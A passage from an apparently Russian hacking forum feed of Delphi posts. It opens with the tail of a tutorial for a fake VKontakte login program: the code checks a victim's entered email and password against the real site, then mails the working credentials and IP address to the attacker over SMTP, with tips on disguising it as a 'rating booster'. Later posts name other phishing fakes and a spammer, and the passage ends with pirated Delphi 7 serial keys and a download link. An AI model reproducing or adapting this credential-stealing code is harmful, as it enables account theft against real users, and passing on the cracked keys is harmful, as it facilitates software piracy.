e:=Copy(s, pos('', s) + 5, pos('', s) - pos('', s) -5); //Парсим IP
data:=idhttp1.Get('http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.Text);
if pos('В Контакте | Вход',data) > 0 then begin
ShowMessage('Пароль введен неправильно,повторите попытку');
end else begin
idSmtp1.Host:='smtp.yandex.ru'; //Хост yandex.ru(измените на свой)
idSmtp1.Port:=25;
idSmtp1.Username:='E-mail с которого отправлять'; //Ваш E-mail
idSmtp1.Password:='Пароль от этого E-mail'; //Пароль
idMessage1.Body.Text:='ip:'+e+#10#13+edit1.Text+';'+edit2.Text; //Текст письма
idMessage1.From.Text:='Еще раз E-mail с которого отсылать';
idMessage1.Recipients.EMailAddresses:='E-mail на который отправлять данные'; //Кому отправлять данные
idMessage1.Subject:='VKfake'; //Тема письма

idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;

Code

Советую использовать Яндекс Почту для мыла от которого идет отправка, а мыло на которое идут данные не важно, хоть mail, хоть яндекс, хоть Rambler!

Ну вобщем то все самое главное сделали) думаю с остальным разберетесь, имею ввиду: Внешний вид и как будет фейк "повышать рейтинг" в ковычках=))) или "отправлять подарки" тоже самое)))

Объясню только несколько пунктов:

Если засунуть в обработчик события edit1,то на кнопку нажать будет нельзя если в едит1 нет текста! (можете изменить компоненты)

Свойство Enabled отвечает за видимость компонентов! true задействован,false незадействован!

Скрываемся из панели задач.

Как запретить повторный запуск программы. Пример на Delphi

Hacker — Fri, 30 Mar 2012 11:58:52 GMT

Пример на Delphi показывающий как можно запретить повторный запуск программы:

Сложность урока:Легкий

Code

var
Form1: TForm1;
h : THandle;

Code

procedure TForm1.FormCreate(Sender: TObject);
begin
if WaitForSingleObject(h, 0)<>0 then
begin
ShowMessage('Программа уже запущена!');
Application.Terminate;
end;
end;

[code]
initialization
h := CreateMutex(nil, True, PChar(ExtractFileName(Application.ExeName)));
finalization
CloseHandle(h);
end.

Использование ProgressBar при работе c IdHTTP

Hacker — Fri, 30 Mar 2012 11:56:58 GMT

Как использовать progressbar при работе с IdHTTP(indy)? Как посмотреть, сколько процентов загружено на сайт через IdHTTP?

Code

procedure TmainForm.IdHTTPWorkBegin(Sender: TObject; AWorkMode: TWorkMode;
   const AWorkCountMax: Integer);
begin
   pb.Position := 0;
   pb.Max := AWorkcountMax;
end;

procedure TmainForm.IdHTTPWork(Sender: TObject; AWorkMode: TWorkMode;
   const AWorkCount: Integer);
begin
   pb.Position := AWorkCount;
end;

procedure TmainForm.IdHTTPWorkEnd(Sender: TObject; AWorkMode: TWorkMode);
begin
   pb.Position := 0;
end;

Исходник парсера персонажей на планете

Hacker — Sun, 25 Mar 2012 11:06:58 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Исходник парсера персонажей на планете
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

pngzlib модуль

Hacker — Fri, 23 Mar 2012 10:53:41 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: pngzlib модуль
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Исходник фейка мыло mail

Hacker — Thu, 22 Mar 2012 10:42:43 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Вход проверить почту на mail
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Простая сажалка

Hacker — Thu, 22 Mar 2012 10:28:30 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Можно накрутить своего что нибудь будет четко)
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

исходник спамера для галактики знакомств

Hacker — Thu, 22 Mar 2012 10:25:22 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: исходник спамера для галактики знакомств
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Ключи для delphi 7

Hacker — Sat, 17 Dec 2011 14:37:36 GMT

Ключи для delphi 7

Serial: 6AKD-PD29Q9-RDF?JQ-X65Z
Key: QX8-EEC

Serial: 6AKD-PD29Q9-RDF?JQ-HQNZ
Key: D?X-BTC

Serial: 6AMD-PKG68E-DB8PP7-9SFE
Key: 3QH-9QW
Ссылка на дельфи7 русская рабочая норма версия http://depositfiles.com/files/jj0ymncf3